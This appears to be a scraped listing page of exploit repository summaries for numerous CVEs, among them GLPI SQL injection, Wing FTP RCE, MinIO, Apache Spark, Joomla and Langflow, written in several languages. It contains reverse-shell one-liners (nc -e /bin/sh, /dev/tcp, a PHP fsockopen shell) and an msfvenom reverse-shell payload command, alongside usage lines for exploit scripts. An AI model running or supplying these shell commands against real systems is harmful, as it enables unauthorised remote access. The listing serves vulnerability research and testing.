Exploit-CVE-2025-24799

Exploit-CVE-2025-24799 CVE-2025-24799 漏洞利用：GLPI - 未认证的SQL注入 安装 root@kitploit: git clone https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799 cd Exploit-CVE-2025-24799 pip3 install -r requirements.txt python3 exploit.py -h 加入Rootkit研究人员 https://discord.gg/66N5ZQppU7...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...'...

CVE-2023-28432-minio_update_rce

minio-CVE-2023-28432-rce https://github.com/AbelChe/evilminio/tree/main 项目原地址 个人打包留存 影响版本 2019-12-17T23-16-33Z 到 RELEASE.2023-03-20T20-16-18Z 复现：https://www.yuque.com/jason-soozc/luhd40/pgabr9xvg0kgx85v?singleDoc 《minlo未授权到rce 集群模式》 GLOBAL backdoor as http://1.2.3.4/?alive=whoami and...

CVE-2018-11770

CVE-2018-11770 Apache Spark 未授权反向 Shell RCE 基于 该 Metasploit 模块 重写的独立 Python 3 RCE 漏洞利用程序 漏洞利用 POC 在此说明。利用代码本身 在此解释。 在 Python 3.7 环境下 对该目标 进行了测试。 使用方法： root@kitploit: root@Kali:/Infosec/RubyStuff/Apache-Spark-RCE msfvenom -p java/shellreversetcp LHOST=192.168.92.134 LPORT=4444 -f jar -o...

POC-CVE-2026-0300-exploit

CVE-2026-0300 — PAN-OS User-ID Authentication Portal Buffer Overflow Exploit Critical CVSS 9.3 — Unauthenticated Remote Code Execution in Palo Alto Networks PAN-OS Captive Portal Table of Contents Overview Vulnerability Details Affected Versions Architecture Diagrams Project Structure Installatio...

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

CVE-2026-56158 — Exploit PoC de ejecución remota de código RCE en .NET Framework Crítico CVSS 9.8 — Deserialización de datos no confiables CWE-502 en Microsoft .NET Framework y .NET Runtime Parcheado: 14 de julio de 2026 | Atribuido a: Positive Technologies PT-2026-60174 Tabla de contenido...

cve-2021-21425

漏洞利用：GravCMS 1.10.7 - 任意YAML写入/更新（未经身份验证） 使用方法： root@kitploit: python3 exploit.py --url http://192.168.204.12/grav-admin 预期行为 请勿在未经授权的系统上使用此漏洞利用程序！ 快乐黑客。...

CVE-2016-6210-Exploit

这是针对 CVE-2016-6210 的“武器化”漏洞利用的第一个版本 背景： 由 Eddie Harari 在 Full Disclosure 上发布 http://seclists.org/fulldisclosure/2016/Jul/51 简要说明： 通过发送大密码，远程用户可以枚举运行SSHD的系统上的用户。由于计算SHA256/SHA512哈希比BLOWFISH哈希花费的时间长得多，大多数现代配置中都存在此问题。 更技术性的说明： 当SSHD尝试认证一个不存在的用户时，它会使用SSHD源代码中硬编码的虚假密码结构。这个硬编码密码结构中的密码哈希基于BLOWFISH...

CVE-2020-9495

CVE-2020-9495 PoC CVE-2020-9495 是 Apache Archiva 2.2.5 之前版本中的一个中等严重程度的 LDAP 注入漏洞。它允许攻击者检索 LDAP 服务器上存在的用户的任何 LDAP 属性值。 来自 Apache Archiva 官方公告： 通过向 Archiva 登录表单提供特殊值，攻击者能够从连接的 LDAP 服务器检索用户属性数据。通过使用特定字符，可以修改用于查询连接 LDAP 服务器上用户的 LDAP 过滤器。通过测量响应时间，可以从 LDAP 用户对象中检索任意属性数据。 PoC poc.py 脚本演示了未经授权的攻击者如何枚举与...

cve-2025-13486-vuln-setup

CVE-2025-13486 Vulnerable Test Environment One-shot Docker setup for testing ACF Extended RCE vulnerability. Quick Start root@kitploit: 1. Download plugins run once ./download-plugins.sh 2. Start environment docker-compose up -d --build 3. Wait 30 seconds for setup, then test nuclei -t...

CVE-2023-49031

LFI Tikit eMarketing CVE-2023-49031 Descubrimiento En noviembre de 2023, se identificó una nueva vulnerabilidad de inclusión de archivos locales en la plataforma "eMarketing" desarrollada por Tikit ahora Advanced durante un trabajo con un cliente. Este problema se resolvió con Advanced en febrero...

CVE-2022-4047

CVE-2022-4047 Return Refund and Exchange For WooCommerce 4.0.9 - Carga de archivos arbitraria no autenticada Uso root@kitploit: @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@ @@@@@@@@@@ @@@@...

CVE-2023-23752_Joomla

CVE-2023-23752 Joomla! v4.2.8 - 未授权信息泄露 CVE-2023-23752 Joomla! v4.2.8 - 未授权信息泄露的概念验证。适用于版本 4.0.0 4.2.8（即从 4.0.0 到 4.2.7）。 开始 执行程序 使用 python3 root@kitploit: python3 exploit.py -t http://joomla.url/ 帮助 查看帮助菜单： root@kitploit: python3 exploit.py -h 致谢 灵感基于以下 PoC NSFocusGlobal 免责声明...

CVE-2023-29489

Introducción Se ha descubierto una vulnerabilidad de Cross-Site Scripting XSS reflejado explotable en ciertas versiones de cPanel, a la que se le asignó el CVE-2023-29489. Esta vulnerabilidad permite a los atacantes ejecutar código JavaScript arbitrario sin requerir autenticación. La vulnerabilid...

CVE-2022-30525

CVE-2022-30525 Una vulnerabilidad de inyección de comandos del sistema operativo en el programa CGI de Zyxel Resumen ejecutivo La vulnerabilidad, descubierta por primera vez el 13 de abril de 2022, causó ejecución remota de código en los productos de firewall de Zyxel. Esta importante...

CVE-2021-27850_POC

CVE-2021-27850 利用工具 概述 CVE-2021-27850 是一个严重的未授权远程代码执行漏洞，存在于所有最新版本的 Apache Tapestry 中。通过下载 AppModule.class 文件，我们可以泄露用于签署 Apache Tapestry 中所有序列化对象的 HMAC 密钥。 我们在一次真实的渗透测试中遇到了这个 CVE，据我所知，目前还没有关于 Tapestry 如何签署序列化对象的公开利用方法，因此我们决定发布以下 PoC，这是我们深入分析 Apache Tapestry 源码后使用的（笑）。 感谢我的前辈Fares 使用方法 1- 克隆此仓库 2-...

CVE-2025-24071

安全漏洞报告：CVE-2025-24071 - Windows文件资源管理器欺骗漏洞 概述 NSFOCUS CERT 检测到微软最近发布了一个安全更新，以修复 Windows 文件资源管理器中的一个严重欺骗漏洞，该漏洞被标识为 CVE-2025-24071 。此漏洞的 CVSS 评分为 7.5，表明其严重程度。此问题源于 Windows 资源管理器对 .library-ms 文件的隐式信任和自动文件解析行为。未经身份验证的攻击者可以通过构建包含恶意 SMB 路径的 RAR/ZIP 文件来利用此漏洞。解压缩后，会触发 SMB 身份验证请求，可能泄露用户的 NTLM 哈希。该漏洞的...

Check-vuln-CVE-2019-0708

CVE-2019-0708 Escáner PoC no autenticado de CVE-2019-0708 "BlueKeep" por @JaGoTu y @zerosum0x0. PR del módulo de Metasploit: https://github.com/rapid7/metasploit-framework/pull/11869 En este repositorio Un fork de rdesktop que actúa como escáner y puede detectar si un host es vulnerable a...

Langflow-CVE-2025-3248-Multi-target

⚠️ Escáner de Explotación RCE de Langflow CVE-2025-3248 Este escáner basado en Python automatiza la detección de vulnerabilidades de Ejecución Remota de Código RCE sin autenticación en instancias de Langflow a través de CVE-2025-3248. Utiliza un payload de prueba de concepto que abusa del endpoint...

SSRF-Exploit-CVE-2024-27564

SSRF-Exploit-CVE-2024-27564 Título del Proyecto Este proyecto demuestra una vulnerabilidad de Server-Side Request Forgery SSRF en el archivo pictureproxy.php. Descripción Una vulnerabilidad en pictureproxy.php permite a atacantes remotos realizar solicitudes arbitrarias inyectando URLs en el...